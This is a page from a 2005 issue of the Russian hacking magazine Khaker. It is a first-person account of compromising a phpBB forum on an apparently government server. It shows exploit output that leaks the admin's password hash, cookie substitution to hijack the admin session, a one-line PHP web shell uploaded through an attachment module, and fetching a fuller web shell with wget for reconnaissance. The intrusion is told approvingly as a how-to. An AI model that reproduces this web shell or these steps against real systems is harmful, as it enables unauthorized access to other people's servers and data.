Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #79, ИЮЛЬ 2005 г.

Кружка кофе

clk__ (clk__@list.ru)

Хакер, номер #079, стр. 079-068-2


$ ./phpbb.pl www.victim.gov.uk forum 2

[~] Connecting...

[+] Connected

[~] Sending Data...

[~] Data Sent, Waiting for response...

[+] MD5 Hash for user with id=2 is: ae186ad8a1de312b4b13d456918c816b

Я просто не поверил своим глазам, когда высветился md5-хэш админского пароля. Несмотря на то, что об этом баге известно уже порядочное время, админ не удосужился залатать дыру и поплатился за собственную халатность :). Ну что же, продолжим. Надо отметить, что сам админский доступ к форуму мне не был нужен, однако он вполне сгодился бы как перевалочный пункт на пути к шелл-аккаунту.

Чтобы войти на форум с админскими правами, нужно зарегистрироваться на форуме и затем отредактировать собственные кукисы (например при помощи Cookie editor’а), заменив в них идентификаторы пользователя на украденные. После этого можно войти на форум под админскими правами и закачать при помощи того же модуля mod_attach, php-скрипт примерно такого содержания:

<?

system($_GET[cmd]);

?>

Этот нехитрый сценарий позволил мне выполнять на сервере команды с правами апачевского пользователя. Первое, что я решил сделать — это закачать на сервер более удобный скрипт для работы с файловой системой.

[удача в кармане]

Я решил не останавливаться на каких-то стандартных скриптах типа remview и заюзал совсем новый и еще не опробованный лично мной скрипт — NIX REMOTE WEB SHELL.

После недолгих поисков я заметил папку temp, в которую мне было разрешено записывать файлы. На сервере стояла утилита wget. Я без проблем скачал систему и мог теперь работать с сервером через удобный интерфейс. Большим плюсом было то, что форум лежал на одном серваке с сайтом, и после получения веб-шелла на форуме мне открывался путь в сердце сервера. Не раздумывая, я вбил следующую команду: uname –a. Оказалось, машинка крутится под FreeBSD 5.2.1-RELEASE. В голове пронесся большой облом: публичного сплойта под эту систему не было, да и просить мне было не у кого :(. Ну что же, оставалось руководствоваться логикой. Я решил сразу проверить конфиг форума, для чего выполнил вот эту команду:

Назад на стр. 079-068-1  Содержание  Вперед на стр. 079-068-3